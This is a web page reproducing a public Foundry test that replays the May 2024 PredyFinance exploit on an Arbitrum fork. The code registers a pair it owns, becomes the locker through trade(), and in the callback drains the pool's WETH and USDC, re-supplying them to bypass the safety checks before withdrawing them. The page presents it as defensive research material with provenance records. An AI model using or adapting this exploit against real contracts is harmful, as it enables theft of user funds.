Skip to content
THREATWIRE

Public reproduction file

src/test/2024-05/PredyFinance_exp.sol

Public reproduction file for dataset entry PredyFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-05/PredyFinance_exp.sol180 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : $464K
8// Attacker : https://arbiscan.io/address/0x76b02ab483482740248e2ab38b5a879a31c6d008
9// Attack Contract : https://arbiscan.io/address/0xb79714634895f52a4f6a75eceb58c96246370149
10// Vulnerable Contract : https://arbiscan.io/address/0x7b8b944ab2f24c829504a7a6d70fce5298f2147c
11// Attack Tx : https://arbiscan.io/tx/0xbe163f651d23f0c9e4d4a443c0cc163134a31a1c2761b60188adcfd33178f50f
13// @Info
14// Vulnerable Contract Code : https://arbiscan.io/address/0x7b8b944ab2f24c829504a7a6d70fce5298f2147c#code
16// @Analysis
17// Post-mortem :
18// Twitter Guy :
19// Hacking God :
20pragma solidity ^0.8.0;
22contract PredyFinance is BaseTestWithBalanceLog {
23 uint256 blocknumToForkFrom = 211_107_441;
24 IERC20 USDC = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);
25 IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
26 IPredyPool predyPool = IPredyPool(0x9215748657319B17fecb2b5D086A3147BFBC8613);
28 function setUp() public {
29 vm.createSelectFork("arbitrum", blocknumToForkFrom);
30 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
31 fundingToken = address(USDC);
32 vm.label(address(WETH), "WETH");
33 vm.label(address(USDC), "USDC");
34 vm.label(address(predyPool), "PredyPool");
35 }
37 function testExploit() public balanceLog {
38 USDC.approve(address(predyPool), type(uint256).max);
39 WETH.approve(address(predyPool), type(uint256).max);
41 //implement exploit code here
42 AddPairLogic.AddPairParams memory addPairParam = AddPairLogic.AddPairParams({
43 marginId: address(WETH),
44 poolOwner: address(this),
45 uniswapPool: address(0xC6962004f452bE9203591991D15f6b388e09E8D0),
46 priceFeed: address(this),
47 whitelistEnabled: false,
48 fee: 0,
49 assetRiskParams: Perp.AssetRiskParams({
50 riskRatio: 100_000_001,
51 debtRiskRatio: 0,
52 rangeSize: 1000,
53 rebalanceThreshold: 500,
54 minSlippage: 1_005_000,
55 maxSlippage: 1_050_000
56 }),
57 quoteIrmParams: InterestRateModel.IRMParams({
58 baseRate: 10_000_000_000_000_000,
59 kinkRate: 900_000_000_000_000_000,
60 slope1: 500_000_000_000_000_000,
61 slope2: 1_000_000_000_000_000_000
62 }),
63 baseIrmParams: InterestRateModel.IRMParams({
64 baseRate: 10_000_000_000_000_000,
65 kinkRate: 900_000_000_000_000_000,
66 slope1: 500_000_000_000_000_000,
67 slope2: 1_000_000_000_000_000_000
68 })
69 });
70 uint256 pairId = predyPool.registerPair(addPairParam); // register pair, the owner of the pair is attack contract
72 IPredyPool.TradeParams memory tradeParams =
73 IPredyPool.TradeParams({pairId: pairId, vaultId: 0, tradeAmount: 0, tradeAmountSqrt: 0, extraData: ""});
74 predyPool.trade(tradeParams, ""); // set the attack contract as the locker
76 predyPool.withdraw(pairId, true, WETH.balanceOf(address(predyPool))); // withdraw the LP to the attacker
77 predyPool.withdraw(pairId, false, USDC.balanceOf(address(predyPool))); // withdraw the LP to the attacker
78 }
80 function predyTradeAfterCallback(
81 IPredyPool.TradeParams memory tradeParams,
82 IPredyPool.TradeResult memory tradeResult
83 ) external {
84 predyPool.take(true, address(this), WETH.balanceOf(address(predyPool))); // take the asset to the attacker
85 predyPool.supply(tradeParams.pairId, true, WETH.balanceOf(address(this))); // supply the asset as LP and bypass the check in the function PositionCalculator.checkSafe()
87 predyPool.take(false, address(this), USDC.balanceOf(address(predyPool))); // take the asset to the attacker
88 predyPool.supply(tradeParams.pairId, false, USDC.balanceOf(address(this))); // supply the asset as LP and bypass the check in the function finalizeLock()
89 }
91 function getSqrtPrice() external view returns (uint256) {
92 return 40_000_000_000;
93 }
96library AddPairLogic {
97 struct AddPairParams {
98 address marginId;
99 address poolOwner;
100 address uniswapPool;
101 address priceFeed;
102 bool whitelistEnabled;
103 uint8 fee;
104 Perp.AssetRiskParams assetRiskParams;
105 InterestRateModel.IRMParams quoteIrmParams;
106 InterestRateModel.IRMParams baseIrmParams;
107 }
110library Perp {
111 struct AssetRiskParams {
112 uint128 riskRatio;
113 uint128 debtRiskRatio;
114 int24 rangeSize;
115 int24 rebalanceThreshold;
116 uint64 minSlippage;
117 uint64 maxSlippage;
118 }
121library InterestRateModel {
122 struct IRMParams {
123 uint256 baseRate;
124 uint256 kinkRate;
125 uint256 slope1;
126 uint256 slope2;
127 }
130interface IPredyPool {
131 struct TradeParams {
132 uint256 pairId;
133 uint256 vaultId;
134 int256 tradeAmount;
135 int256 tradeAmountSqrt;
136 bytes extraData;
137 }
139 struct TradeResult {
140 Payoff payoff;
141 uint256 vaultId;
142 int256 fee;
143 int256 minMargin;
144 int256 averagePrice;
145 uint256 sqrtTwap;
146 uint256 sqrtPrice;
147 }
149 struct Payoff {
150 int256 perpEntryUpdate;
151 int256 sqrtEntryUpdate;
152 int256 sqrtRebalanceEntryUpdateUnderlying;
153 int256 sqrtRebalanceEntryUpdateStable;
154 int256 perpPayoff;
155 int256 sqrtPayoff;
156 }
158 function registerPair(
159 AddPairLogic.AddPairParams memory addPairParam
160 ) external returns (uint256);
162 function trade(
163 TradeParams memory tradeParams,
164 bytes memory settlementData
165 ) external returns (TradeResult memory tradeResult);
167 function take(bool isQuoteAsset, address to, uint256 amount) external;
169 function supply(
170 uint256 pairId,
171 bool isQuoteAsset,
172 uint256 supplyAmount
173 ) external returns (uint256 finalSuppliedAmount);
175 function withdraw(
176 uint256 pairId,
177 bool isQuoteAsset,
178 uint256 withdrawAmount
179 ) external returns (uint256 finalBurnAmount, uint256 finalWithdrawAmount);

Analysis

Dataset entry

Public Foundry test for “PredyFinance” (2024-05-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

19 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x76b02ab483482740248e2ab38b5a879a31c6d008

  • Attack Contract

    0xb79714634895f52a4f6a75eceb58c96246370149

  • Vulnerable Contract

    0x7b8b944ab2f24c829504a7a6d70fce5298f2147c

  • Attack Tx

    0xbe163f651d23f0c9e4d4a443c0cc163134a31a1c2761b60188adcfd33178f50f

File record

Name
PredyFinance
Path
src/test/2024-05/PredyFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
529c7b8968239f7b2f30b5c118a84b3ceb4c5ef3
Language
Solidity
Size
181 lines
Date
2024-05-14
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-05/PredyFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 529c7b8968239f7b2f30b5c118a84b3ceb4c5ef3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.